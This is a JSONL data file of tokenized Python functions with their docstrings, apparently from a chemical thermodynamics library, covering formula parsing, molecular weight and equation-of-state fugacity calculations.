{"signature": "def CoolProp_T_dependent_property(T, CASRN, prop, phase):", "body": "if not has_CoolProp:  <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if CASRN not in coolprop_dict:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Tc = coolprop_fluids[CASRN].Tc<EOL>T = float(T) <EOL>if phase == '<STR_LIT:l>':<EOL><INDENT>if T > Tc:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if PhaseSI('<STR_LIT:T>', T, '<STR_LIT:P>', <NUM_LIT>, CASRN) in [u'<STR_LIT>', u'<STR_LIT>']:<EOL><INDENT>return PropsSI(prop, '<STR_LIT:T>', T, '<STR_LIT:P>', <NUM_LIT>, CASRN)<EOL><DEDENT>else:<EOL><INDENT>return PropsSI(prop, '<STR_LIT:T>', T, '<STR_LIT>', <NUM_LIT:0>, CASRN)<EOL><DEDENT><DEDENT>elif phase == '<STR_LIT:g>':<EOL><INDENT>if PhaseSI('<STR_LIT:T>', T, '<STR_LIT:P>', <NUM_LIT>, CASRN) == '<STR_LIT>':<EOL><INDENT>return PropsSI(prop, '<STR_LIT:T>', T, '<STR_LIT:P>', <NUM_LIT>, CASRN)<EOL><DEDENT>else:<EOL><INDENT>if T < Tc:<EOL><INDENT>return PropsSI(prop, '<STR_LIT:T>', T, '<STR_LIT>', <NUM_LIT:1>, CASRN)<EOL><DEDENT>else:<EOL><INDENT>return PropsSI(prop, '<STR_LIT:T>', T, '<STR_LIT:P>', <NUM_LIT>, CASRN)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Calculates a property of a chemical in either the liquid or gas phase\n    as a function of temperature only. This means that the property is\n    either at 1 atm or along the saturation curve.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of the fluid [K]\n    CASRN : str\n        CAS number of the fluid\n    prop : str\n        CoolProp string shortcut for desired property\n    phase : str\n        Either 'l' or 'g' for liquid or gas properties respectively\n\n    Returns\n    -------\n    prop : float\n        Desired chemical property, [units]\n\n    Notes\n    -----\n    For liquids above their boiling point, the liquid property is found on the\n    saturation line (at higher pressures). Under their boiling point, the\n    property is calculated at 1 atm.\n\n    No liquid calculations are permitted above the critical temperature.\n\n    For gases under the chemical's boiling point, the gas property is found\n    on the saturation line (at sub-atmospheric pressures). Above the boiling\n    point, the property is calculated at 1 atm.\n\n    An exception is raised if the desired CAS is not supported, or if CoolProp\n    is not available.\n\n    The list of strings acceptable as an input for property types is:\n    http://www.coolprop.org/coolprop/HighLevelAPI.html#table-of-string-inputs-to-propssi-function\n\n    Examples\n    --------\n    Water at STP according to IAPWS-95\n\n    >>> CoolProp_T_dependent_property(298.15, '7732-18-5', 'D', 'l')\n    997.047636760347\n\n    References\n    ----------\n    .. [1] Bell, Ian H., Jorrit Wronski, Sylvain Quoilin, and Vincent Lemort.\n       \"Pure and Pseudo-Pure Fluid Thermophysical Property Evaluation and the\n       Open-Source Thermophysical Property Library CoolProp.\" Industrial &\n       Engineering Chemistry Research 53, no. 6 (February 12, 2014):\n       2498-2508. doi:10.1021/ie4033999. http://www.coolprop.org/", "id": "f15801:m0"}
{"signature": "def molecular_weight(atoms):", "body": "MW = <NUM_LIT:0><EOL>for i in atoms:<EOL><INDENT>if i in periodic_table:<EOL><INDENT>MW += periodic_table[i].MW*atoms[i]<EOL><DEDENT>elif i == '<STR_LIT:D>':<EOL><INDENT>MW += <NUM_LIT>*atoms[i]<EOL><DEDENT>elif i == '<STR_LIT:T>':<EOL><INDENT>MW += <NUM_LIT>*atoms[i]<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>return MW<EOL>", "docstring": "r'''Calculates molecular weight of a molecule given a dictionary of its\n    atoms and their counts, in the format {symbol: count}.\n\n    .. math::\n        MW = \\sum_i n_i MW_i\n\n    Parameters\n    ----------\n    atoms : dict\n        dictionary of counts of individual atoms, indexed by symbol with\n        proper capitalization, [-]\n\n    Returns\n    -------\n    MW : float\n        Calculated molecular weight [g/mol]\n\n    Notes\n    -----\n    Elemental data is from rdkit, with CAS numbers added. An exception is\n    raised if an incorrect element symbol is given. Elements up to 118 are\n    supported, as are deutreium and tritium.\n\n    Examples\n    --------\n    >>> molecular_weight({'H': 12, 'C': 20, 'O': 5}) # DNA\n    332.30628\n\n    References\n    ----------\n    .. [1] RDKit: Open-source cheminformatics; http://www.rdkit.org", "id": "f15802:m0"}
{"signature": "def mass_fractions(atoms, MW=None):", "body": "if not MW:<EOL><INDENT>MW = molecular_weight(atoms)<EOL><DEDENT>mfracs = {}<EOL>for i in atoms:<EOL><INDENT>if i in periodic_table:<EOL><INDENT>mfracs[i] = periodic_table[i].MW*atoms[i]/MW<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>return mfracs<EOL>", "docstring": "r'''Calculates the mass fractions of each element in a compound,\n    given a dictionary of its atoms and their counts, in the format\n    {symbol: count}.\n\n    .. math::\n        w_i =  \\frac{n_i MW_i}{\\sum_i n_i MW_i}\n\n    Parameters\n    ----------\n    atoms : dict\n        dictionary of counts of individual atoms, indexed by symbol with\n        proper capitalization, [-]\n    MW : float, optional\n        Molecular weight, [g/mol]\n\n    Returns\n    -------\n    mfracs : dict\n        dictionary of mass fractions of individual atoms, indexed by symbol\n        with proper capitalization, [-]\n\n    Notes\n    -----\n    Molecular weight is optional, but speeds up the calculation slightly. It\n    is calculated using the function `molecular_weight` if not specified.\n\n    Elemental data is from rdkit, with CAS numbers added. An exception is\n    raised if an incorrect element symbol is given. Elements up to 118 are\n    supported.\n\n    Examples\n    --------\n    >>> mass_fractions({'H': 12, 'C': 20, 'O': 5})\n    {'H': 0.03639798802478244, 'C': 0.7228692758981262, 'O': 0.24073273607709128}\n\n    References\n    ----------\n    .. [1] RDKit: Open-source cheminformatics; http://www.rdkit.org", "id": "f15802:m1"}
{"signature": "def atom_fractions(atoms):", "body": "count = sum(atoms.values())<EOL>afracs = {}<EOL>for i in atoms:<EOL><INDENT>afracs[i] = atoms[i]/count<EOL><DEDENT>return afracs<EOL>", "docstring": "r'''Calculates the atomic fractions of each element in a compound,\n    given a dictionary of its atoms and their counts, in the format\n    {symbol: count}.\n\n    .. math::\n        a_i =  \\frac{n_i}{\\sum_i n_i}\n\n    Parameters\n    ----------\n    atoms : dict\n        dictionary of counts of individual atoms, indexed by symbol with\n        proper capitalization, [-]\n\n    Returns\n    -------\n    afracs : dict\n        dictionary of atomic fractions of individual atoms, indexed by symbol\n        with proper capitalization, [-]\n\n    Notes\n    -----\n    No actual data on the elements is used, so incorrect or custom compounds\n    would not raise an error.\n\n    Examples\n    --------\n    >>> atom_fractions({'H': 12, 'C': 20, 'O': 5})\n    {'H': 0.32432432432432434, 'C': 0.5405405405405406, 'O': 0.13513513513513514}\n\n    References\n    ----------\n    .. [1] RDKit: Open-source cheminformatics; http://www.rdkit.org", "id": "f15802:m2"}
{"signature": "def similarity_variable(atoms, MW=None):", "body": "if not MW:<EOL><INDENT>MW = molecular_weight(atoms)<EOL><DEDENT>return sum(atoms.values())/MW<EOL>", "docstring": "r'''Calculates the similarity variable of an compound, as defined in [1]_.\n    Currently only applied for certain heat capacity estimation routines.\n\n    .. math::\n        \\alpha = \\frac{N}{MW} = \\frac{\\sum_i n_i}{\\sum_i n_i MW_i}\n\n    Parameters\n    ----------\n    atoms : dict\n        dictionary of counts of individual atoms, indexed by symbol with\n        proper capitalization, [-]\n    MW : float, optional\n        Molecular weight, [g/mol]\n\n    Returns\n    -------\n    similarity_variable : float\n        Similarity variable as defined in [1]_, [mol/g]\n\n    Notes\n    -----\n    Molecular weight is optional, but speeds up the calculation slightly. It\n    is calculated using the function `molecular_weight` if not specified.\n\n    Examples\n    --------\n    >>> similarity_variable({'H': 32, 'C': 15})\n    0.2212654140784498\n\n    References\n    ----------\n    .. [1] La\u0161tovka, V\u00e1clav, Nasser Sallamie, and John M. Shaw. \"A Similarity\n       Variable for Estimating the Heat Capacity of Solid Organic Compounds:\n       Part I. Fundamentals.\" Fluid Phase Equilibria 268, no. 1-2\n       (June 25, 2008): 51-60. doi:10.1016/j.fluid.2008.03.019.", "id": "f15802:m3"}
{"signature": "def atoms_to_Hill(atoms):", "body": "def str_ele_count(ele):<EOL><INDENT>if atoms[ele] == <NUM_LIT:1>:<EOL><INDENT>count = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>count = str(atoms[ele])<EOL><DEDENT>return count<EOL><DEDENT>atoms = atoms.copy()<EOL>s = '<STR_LIT>'<EOL>if '<STR_LIT:C>' in atoms.keys():<EOL><INDENT>s += '<STR_LIT:C>' + str_ele_count('<STR_LIT:C>')<EOL>del atoms['<STR_LIT:C>']<EOL>if '<STR_LIT:H>' in atoms.keys():<EOL><INDENT>s += '<STR_LIT:H>' + str_ele_count('<STR_LIT:H>')<EOL>del atoms['<STR_LIT:H>']<EOL><DEDENT>for ele in sorted(atoms.keys()):<EOL><INDENT>s += ele + str_ele_count(ele)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for ele in sorted(atoms.keys()):<EOL><INDENT>s += ele + str_ele_count(ele)<EOL><DEDENT><DEDENT>return s<EOL>", "docstring": "r'''Determine the Hill formula of a compound, given a dictionary of its\n    atoms and their counts, in the format {symbol: count}.\n\n    Parameters\n    ----------\n    atoms : dict\n        dictionary of counts of individual atoms, indexed by symbol with\n        proper capitalization, [-]\n\n    Returns\n    -------\n    Hill_formula : str\n        Hill formula, [-]\n\n    Notes\n    -----\n    The Hill system is as follows:\n\n    If the chemical has 'C' in it, this is listed first, and then if it has\n    'H' in it as well as 'C', then that goes next. All elements are sorted\n    alphabetically afterwards, including 'H' if 'C' is not present.\n    All elements are followed by their count, unless it is 1.\n\n    Examples\n    --------\n    >>> atoms_to_Hill({'H': 5, 'C': 2, 'Br': 1})\n    'C2H5Br'\n\n    References\n    ----------\n    .. [1] Hill, Edwin A.\"\u201cON A SYSTEM OF INDEXING CHEMICAL LITERATURE;\n       ADOPTED BY THE CLASSIFICATION DIVISION OF THE U. S. PATENT OFFICE.1.\"\n       Journal of the American Chemical Society 22, no. 8 (August 1, 1900):\n       478-94. doi:10.1021/ja02046a005.", "id": "f15802:m4"}
{"signature": "def simple_formula_parser(formula):", "body": "formula = formula.split('<STR_LIT:+>')[<NUM_LIT:0>].split('<STR_LIT:->')[<NUM_LIT:0>]<EOL>groups = _formula_p1.split(formula)[<NUM_LIT:1>::<NUM_LIT:2>]<EOL>cnt = Counter()<EOL>for group in groups:<EOL><INDENT>ele, count = _formula_p2.split(group)[<NUM_LIT:1>:]<EOL>cnt[ele] += int(count) if count.isdigit() else <NUM_LIT:1><EOL><DEDENT>return dict(cnt)<EOL>", "docstring": "r'''Basic formula parser, primarily for obtaining element counts from \n    formulas as formated in PubChem. Handles formulas with integer counts, \n    but no brackets, no hydrates, no charges, no isotopes, and no group\n    multipliers.\n\n    Strips charges from the end of a formula first. Accepts repeated chemical\n    units. Performs no sanity checking that elements are actually elements.\n    As it uses regular expressions for matching, errors are mostly just ignored.\n\n    Parameters\n    ----------\n    formula : str\n        Formula string, very simply formats only.\n\n    Returns\n    -------\n    atoms : dict\n        dictionary of counts of individual atoms, indexed by symbol with\n        proper capitalization, [-]\n\n    Notes\n    -----\n    Inspiration taken from the thermopyl project, at\n    https://github.com/choderalab/thermopyl.\n\n    Examples\n    --------\n    >>> simple_formula_parser('CO2')\n    {'C': 1, 'O': 2}", "id": "f15802:m5"}
{"signature": "def nested_formula_parser(formula, check=True):", "body": "formula = formula.replace('<STR_LIT:[>', '<STR_LIT>').replace('<STR_LIT:]>', '<STR_LIT>')<EOL>charge_splits = bracketed_charge_re.split(formula)<EOL>if len(charge_splits) > <NUM_LIT:1>:<EOL><INDENT>formula = charge_splits[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>formula = formula.split('<STR_LIT:+>')[<NUM_LIT:0>].split('<STR_LIT:->')[<NUM_LIT:0>]<EOL><DEDENT>stack = [[]]<EOL>last = stack[<NUM_LIT:0>]<EOL>tokens = formula_token_matcher_rational.findall(formula)<EOL>if check:<EOL><INDENT>token_letters = set([j for i in tokens for j in i if j in letter_set])<EOL>formula_letters = set(i for i in formula if i in letter_set)<EOL>if formula_letters != token_letters:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>for token in tokens:<EOL><INDENT>if token == \"<STR_LIT:(>\":<EOL><INDENT>stack.append([])<EOL>last = stack[-<NUM_LIT:1>]<EOL><DEDENT>elif token == \"<STR_LIT:)>\":<EOL><INDENT>temp_dict = {}<EOL>for d in last:<EOL><INDENT>for ele, count in d.items():<EOL><INDENT>if ele in temp_dict:<EOL><INDENT>temp_dict[ele] = temp_dict[ele] + count<EOL><DEDENT>else:<EOL><INDENT>temp_dict[ele] = count<EOL><DEDENT><DEDENT><DEDENT>stack.pop()<EOL>last = stack[-<NUM_LIT:1>]<EOL>last.append(temp_dict)<EOL><DEDENT>elif token.isalpha():<EOL><INDENT>last.append({token: <NUM_LIT:1>})<EOL><DEDENT>else:<EOL><INDENT>v = float(token)<EOL>v_int = int(v)<EOL>if v_int == v:<EOL><INDENT>v = v_int<EOL><DEDENT>last[-<NUM_LIT:1>] = {ele: count*v for ele, count in last[-<NUM_LIT:1>].items()}<EOL><DEDENT><DEDENT>ans = {}<EOL>for d in last:<EOL><INDENT>for ele, count in d.items():<EOL><INDENT>if ele in ans:<EOL><INDENT>ans[ele] = ans[ele] + count<EOL><DEDENT>else:<EOL><INDENT>ans[ele] = count<EOL><DEDENT><DEDENT><DEDENT>return ans<EOL>", "docstring": "r'''Improved formula parser which handles braces and their multipliers, \n    as well as rational element counts.\n\n    Strips charges from the end of a formula first. Accepts repeated chemical\n    units. Performs no sanity checking that elements are actually elements.\n    As it uses regular expressions for matching, errors are mostly just ignored.\n\n    Parameters\n    ----------\n    formula : str\n        Formula string, very simply formats only.\n    check : bool\n        If `check` is True, a simple check will be performed to determine if\n        a formula is not a formula and an exception will be raised if it is\n        not, [-]\n\n    Returns\n    -------\n    atoms : dict\n        dictionary of counts of individual atoms, indexed by symbol with\n        proper capitalization, [-]\n\n    Notes\n    -----\n    Inspired by the approach taken by CrazyMerlyn on a reddit DailyProgrammer\n    challenge, at https://www.reddit.com/r/dailyprogrammer/comments/6eerfk/20170531_challenge_317_intermediate_counting/\n\n    Examples\n    --------\n    >>> pprint(nested_formula_parser('Pd(NH3)4.0001+2'))\n    {'H': 12.0003, 'N': 4.0001, 'Pd': 1}", "id": "f15802:m6"}
{"signature": "def charge_from_formula(formula):", "body": "negative = '<STR_LIT:->' in formula<EOL>positive = '<STR_LIT:+>' in formula<EOL>if positive and negative:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>elif not (positive or negative):<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>multiplier, sign = (-<NUM_LIT:1>, '<STR_LIT:->') if negative else (<NUM_LIT:1>, '<STR_LIT:+>')<EOL>hit = False<EOL>if '<STR_LIT:(>' in formula:<EOL><INDENT>hit = bracketed_charge_re.findall(formula)<EOL>if hit:<EOL><INDENT>formula = hit[-<NUM_LIT:1>].replace('<STR_LIT:(>', '<STR_LIT>').replace('<STR_LIT:)>', '<STR_LIT>')<EOL><DEDENT><DEDENT>count = formula.count(sign)<EOL>if count == <NUM_LIT:1>:<EOL><INDENT>splits = formula.split(sign)<EOL>if splits[<NUM_LIT:1>] == '<STR_LIT>' or splits[<NUM_LIT:1>] == '<STR_LIT:)>':<EOL><INDENT>return multiplier<EOL><DEDENT>else:<EOL><INDENT>return multiplier*int(splits[<NUM_LIT:1>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return multiplier*count<EOL><DEDENT>", "docstring": "r'''Basic formula parser to determine the charge from a formula - given\n    that the charge is already specified as one element of the formula.\n\n    Performs no sanity checking that elements are actually elements.\n\n    Parameters\n    ----------\n    formula : str\n        Formula string, very simply formats only, ending in one of '+x',\n        '-x', n*'+', or n*'-' or any of them surrounded by brackets but always\n        at the end of a formula.\n\n    Returns\n    -------\n    charge : int\n        Charge of the molecule, [faraday]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> charge_from_formula('Br3-')\n    -1\n    >>> charge_from_formula('Br3(-)')\n    -1", "id": "f15802:m7"}
{"signature": "def serialize_formula(formula):", "body": "charge = charge_from_formula(formula)<EOL>element_dict = nested_formula_parser(formula)<EOL>base = atoms_to_Hill(element_dict)<EOL>if charge  == <NUM_LIT:0>:<EOL><INDENT>pass<EOL><DEDENT>elif charge > <NUM_LIT:0>:<EOL><INDENT>if charge == <NUM_LIT:1>:<EOL><INDENT>base += '<STR_LIT:+>'<EOL><DEDENT>else:<EOL><INDENT>base += '<STR_LIT:+>' + str(charge)<EOL><DEDENT><DEDENT>elif charge < <NUM_LIT:0>:<EOL><INDENT>if charge == -<NUM_LIT:1>:<EOL><INDENT>base += '<STR_LIT:->'<EOL><DEDENT>else:<EOL><INDENT>base +=  str(charge)<EOL><DEDENT><DEDENT>return base<EOL>", "docstring": "r'''Basic formula serializer to construct a consistently-formatted formula.\n    This is necessary for handling user-supplied formulas, which are not always\n    well formatted.\n\n    Performs no sanity checking that elements are actually elements.\n\n    Parameters\n    ----------\n    formula : str\n        Formula string as parseable by the method nested_formula_parser, [-]\n\n    Returns\n    -------\n    formula : str\n        A consistently formatted formula to describe a molecular formula, [-]\n\n    Notes\n    -----\n\n    Examples\n    --------\n    >>> serialize_formula('Pd(NH3)4+3')\n    'H12N4Pd+3'", "id": "f15802:m8"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "zs, kijs = self.zs, self.kijs<EOL>a_alphas, da_alpha_dTs, d2a_alpha_dT2s = [], [], []<EOL>for i in self.cmps:<EOL><INDENT>self.setup_a_alpha_and_derivatives(i, T=T)<EOL>ds = super(type(self).__mro__[self.a_alpha_mro], self).a_alpha_and_derivatives(T)<EOL>a_alphas.append(ds[<NUM_LIT:0>])<EOL>da_alpha_dTs.append(ds[<NUM_LIT:1>])<EOL>d2a_alpha_dT2s.append(ds[<NUM_LIT:2>])<EOL><DEDENT>self.cleanup_a_alpha_and_derivatives()<EOL>da_alpha_dT, d2a_alpha_dT2 = <NUM_LIT:0.0>, <NUM_LIT:0.0><EOL>a_alpha_ijs = [[(<NUM_LIT:1.> - kijs[i][j])*(a_alphas[i]*a_alphas[j])**<NUM_LIT:0.5> <EOL>for j in self.cmps] for i in self.cmps]<EOL>a_alpha = sum([a_alpha_ijs[i][j]*zs[i]*zs[j]<EOL>for j in self.cmps for i in self.cmps])<EOL>self.a_alpha_ijs = a_alpha_ijs<EOL>if full:<EOL><INDENT>for i in self.cmps:<EOL><INDENT>for j in self.cmps:<EOL><INDENT>a_alphai, a_alphaj = a_alphas[i], a_alphas[j]<EOL>x0 = a_alphai*a_alphaj<EOL>x0_05 = x0**<NUM_LIT:0.5><EOL>zi_zj = zs[i]*zs[j]<EOL>da_alpha_dT += zi_zj*((<NUM_LIT:1.> - kijs[i][j])/(<NUM_LIT>*x0_05)<EOL>*(a_alphai*da_alpha_dTs[j] + a_alphaj*da_alpha_dTs[i]))<EOL>x1 = a_alphai*da_alpha_dTs[j]<EOL>x2 = a_alphaj*da_alpha_dTs[i]<EOL>x3 = <NUM_LIT>*a_alphai*da_alpha_dTs[j] + <NUM_LIT>*a_alphaj*da_alpha_dTs[i]<EOL>d2a_alpha_dT2 += (-x0_05*(kijs[i][j] - <NUM_LIT:1.>)*(x0*(<EOL><NUM_LIT>*a_alphai*d2a_alpha_dT2s[j] + <NUM_LIT>*a_alphaj*d2a_alpha_dT2s[i]<EOL>+ <NUM_LIT>*da_alpha_dTs[i]*da_alpha_dTs[j]) - x1*x3 - x2*x3 + (x1 <EOL>+ x2)**<NUM_LIT:2>)/(<NUM_LIT>*x0*x0))*zi_zj<EOL><DEDENT><DEDENT>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>else:<EOL><INDENT>return a_alpha<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for an EOS with the Van der Waals mixing rules. Uses the\n        parent class's interface to compute pure component values. Returns\n        `a_alpha`, `da_alpha_dT`, and `d2a_alpha_dT2`. Calls \n        `setup_a_alpha_and_derivatives` before calling\n        `a_alpha_and_derivatives` for each species, which typically sets `a` \n        and `Tc`. Calls `cleanup_a_alpha_and_derivatives` to remove the set\n        properties after the calls are done.\n\n        For use in `solve_T` this returns only `a_alpha` if `full` is False.\n\n        .. math::\n            a \\alpha = \\sum_i \\sum_j z_i z_j {(a\\alpha)}_{ij}\n\n            (a\\alpha)_{ij} = (1-k_{ij})\\sqrt{(a\\alpha)_{i}(a\\alpha)_{j}}\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n        full : bool, optional\n            If False, calculates and returns only `a_alpha`\n        quick : bool, optional\n            Only the quick variant is implemented; it is little faster anyhow\n\n        Returns\n        -------\n        a_alpha : float\n            Coefficient calculated by EOS-specific method, [J^2/mol^2/Pa]\n        da_alpha_dT : float\n            Temperature derivative of coefficient calculated by EOS-specific \n            method, [J^2/mol^2/Pa/K]\n        d2a_alpha_dT2 : float\n            Second temperature derivative of coefficient calculated by  \n            EOS-specific method, [J^2/mol^2/Pa/K**2]\n\n        Notes\n        -----\n        The exact expressions can be obtained with the following SymPy \n        expression below, commented out for brevity.\n\n        >>> from sympy import *\n        >>> a_alpha_i, a_alpha_j, kij, T = symbols('a_alpha_i, a_alpha_j, kij, T')\n        >>> a_alpha_ij = (1-kij)*sqrt(a_alpha_i(T)*a_alpha_j(T))\n        >>> #diff(a_alpha_ij, T)\n        >>> #diff(a_alpha_ij, T, T)", "id": "f15803:c0:m0"}
{"signature": "def fugacities(self, xs=None, ys=None):", "body": "if self.phase in ['<STR_LIT:l>', '<STR_LIT>']:<EOL><INDENT>if xs is None:<EOL><INDENT>xs = self.zs<EOL><DEDENT>self.phis_l = self.fugacity_coefficients(self.Z_l, zs=xs)<EOL>self.fugacities_l = [phi*x*self.P for phi, x in zip(self.phis_l, xs)]<EOL>self.lnphis_l = [log(i) for i in self.phis_l]<EOL><DEDENT>if self.phase in ['<STR_LIT:g>', '<STR_LIT>']:<EOL><INDENT>if ys is None:<EOL><INDENT>ys = self.zs<EOL><DEDENT>self.phis_g = self.fugacity_coefficients(self.Z_g, zs=ys)<EOL>self.fugacities_g = [phi*y*self.P for phi, y in zip(self.phis_g, ys)]<EOL>self.lnphis_g = [log(i) for i in self.phis_g]<EOL><DEDENT>", "docstring": "r'''Helper method for calculating fugacity coefficients for any \n        phases present, using either the overall mole fractions for both phases\n        or using specified mole fractions for each phase.\n\n        Requires `fugacity_coefficients` to be implemented by each subclassing\n        EOS.\n\n        In addition to setting `fugacities_l` and/or `fugacities_g`, this also\n        sets the fugacity coefficients `phis_l` and/or `phis_g`.\n\n        .. math::\n            \\hat \\phi_i^g = \\frac{\\hat f_i^g}{x_i P}\n\n            \\hat \\phi_i^l = \\frac{\\hat f_i^l}{x_i P}\n\n        Parameters\n        ----------\n        xs : list[float], optional\n            Liquid-phase mole fractions of each species, [-]\n        ys : list[float], optional\n            Vapor-phase mole fractions of each species, [-]\n\n        Notes\n        -----\n        It is helpful to check that `fugacity_coefficients` has been\n        implemented correctly using the following expression, from [1]_.\n\n        .. math::\n            \\ln \\hat \\phi_i = \\left[\\frac{\\partial (n\\log \\phi)}{\\partial \n            n_i}\\right]_{T,P,n_j,V_t}\n\n        For reference, several expressions for fugacity of a component are as\n        follows, shown in [1]_ and [2]_.\n\n        .. math::\n             \\ln \\hat \\phi_i = \\int_{0}^P\\left(\\frac{\\hat V_i}\n             {RT} - \\frac{1}{P}\\right)dP\n\n             \\ln \\hat \\phi_i = \\int_V^\\infty \\left[\n             \\frac{1}{RT}\\frac{\\partial P}{ \\partial n_i}\n             - \\frac{1}{V}\\right] d V - \\ln Z\n\n        References\n        ----------\n        .. [1] Hu, Jiawen, Rong Wang, and Shide Mao. \"Some Useful Expressions \n           for Deriving Component Fugacity Coefficients from Mixture Fugacity \n           Coefficient.\" Fluid Phase Equilibria 268, no. 1-2 (June 25, 2008): \n           7-13. doi:10.1016/j.fluid.2008.03.007.\n        .. [2] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n           Butterworth-Heinemann, 1985.", "id": "f15803:c0:m1"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "self.Tc = sum(self.Tcs)/self.N<EOL>return super(type(self).__mro__[-<NUM_LIT:3>], self).solve_T(P=P, V=V, quick=quick)<EOL>", "docstring": "r'''Generic method to calculate `T` from a specified `P` and `V`.\n        Provides SciPy's `newton` solver, and iterates to solve the general\n        equation for `P`, recalculating `a_alpha` as a function of temperature\n        using `a_alpha_and_derivatives` each iteration.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            Unimplemented, although it may be possible to derive explicit \n            expressions as done for many pure-component EOS\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]", "id": "f15803:c0:m9"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "self.a, self.kappa, self.Tc = self.ais[i], self.kappas[i], self.Tcs[i]<EOL>", "docstring": "r'''Sets `a`, `kappa`, and `Tc` for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c1:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a, self.kappa, self.Tc)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c1:m2"}
{"signature": "def fugacity_coefficients(self, Z, zs):", "body": "from cmath import log<EOL>A = self.a_alpha*self.P/(R2*self.T*self.T)<EOL>B = self.b*self.P/(R*self.T)<EOL>phis = []<EOL>for i in self.cmps:<EOL><INDENT>t1 = self.bs[i]/self.b*(Z - <NUM_LIT:1.>) - log(Z - B).real<EOL>t2 = <NUM_LIT>/self.a_alpha*sum([zs[j]*self.a_alpha_ijs[i][j] for j in self.cmps])<EOL>t3 = t1 - A/(two_root_two*B)*(t2 - self.bs[i]/self.b)*log((Z + (root_two + <NUM_LIT:1.>)*B)/(Z - (root_two - <NUM_LIT:1.>)*B)).real<EOL>phis.append(exp(t3))<EOL><DEDENT>return phis<EOL>", "docstring": "r'''Literature formula for calculating fugacity coefficients for each\n        species in a mixture. Verified numerically. Applicable to most \n        derivatives of the Peng-Robinson equation of state as well.\n        Called by `fugacities` on initialization, or by a solver routine \n        which is performing a flash calculation.\n\n        .. math::\n            \\ln \\hat \\phi_i = \\frac{B_i}{B}(Z-1)-\\ln(Z-B) + \\frac{A}{2\\sqrt{2}B}\n            \\left[\\frac{B_i}{B} - \\frac{2}{a\\alpha}\\sum_i y_i(a\\alpha)_{ij}\\right]\n            \\log\\left[\\frac{Z + (1+\\sqrt{2})B}{Z-(\\sqrt{2}-1)B}\\right]\n\n            A = \\frac{(a\\alpha)P}{R^2 T^2}\n\n            B = \\frac{b P}{RT}\n\n        Parameters\n        ----------\n        Z : float\n            Compressibility of the mixture for a desired phase, [-]\n        zs : list[float], optional\n            List of mole factions, either overall or in a specific phase, [-]\n\n        Returns\n        -------\n        phis : float\n            Fugacity coefficient for each species, [-]\n\n        References\n        ----------\n        .. [1] Peng, Ding-Yu, and Donald B. Robinson. \"A New Two-Constant  \n           Equation of State.\" Industrial & Engineering Chemistry Fundamentals \n           15, no. 1 (February 1, 1976): 59-64. doi:10.1021/i160057a011.\n        .. [2] Walas, Stanley M. Phase Equilibria in Chemical Engineering. \n           Butterworth-Heinemann, 1985.", "id": "f15803:c1:m3"}
{"signature": "def setup_a_alpha_and_derivatives(self, i, T=None):", "body": "self.a, self.m, self.Tc = self.ais[i], self.ms[i], self.Tcs[i]<EOL>", "docstring": "r'''Sets `a`, `m`, and `Tc` for a specific component before the \n        pure-species EOS's `a_alpha_and_derivatives` method is called. Both are \n        called by `GCEOSMIX.a_alpha_and_derivatives` for every component.", "id": "f15803:c2:m1"}
{"signature": "def cleanup_a_alpha_and_derivatives(self):", "body": "del(self.a, self.m, self.Tc)<EOL>", "docstring": "r'''Removes properties set by `setup_a_alpha_and_derivatives`; run by\n        `GCEOSMIX.a_alpha_and_derivatives` after `a_alpha` is calculated for \n        every component", "id": "f15803:c2:m2"}
{"signature": "def fugacity_coefficients(self, Z, zs):", "body": "A = self.a_alpha*self.P/R2/self.T**<NUM_LIT:2><EOL>B = self.b*self.P/R/self.T<EOL>phis = []<EOL>for i in self.cmps:<EOL><INDENT>Bi = self.bs[i]*self.P/R/self.T<EOL>t1 = Bi/B*(Z-<NUM_LIT:1>) - log(Z - B)<EOL>t2 = A/B*(Bi/B - <NUM_LIT>/self.a_alpha*sum([zs[j]*self.a_alpha_ijs[i][j] for j in self.cmps]))<EOL>t3 = log(<NUM_LIT:1.> + B/Z)<EOL>t4 = t1 + t2*t3<EOL>phis.append(exp(t4))<EOL><DEDENT>return phis<EOL>", "docstring": "r'''Literature formula for calculating fugacity coefficients for each\n        species in a mixture. Verified numerically. Applicable to most \n        derivatives of the SRK equation of state as well.\n        Called by `fugacities` on initialization, or by a solver routine \n        which is performing a flash calculation.\n\n        .. math::\n            \\ln \\hat \\phi_i = \\frac{B_i}{B}(Z-1) - \\ln(Z-B) + \\frac{A}{B}\n            \\left[\\frac{B_i}{B} - \\frac{2}{a \\alpha}\\sum_i 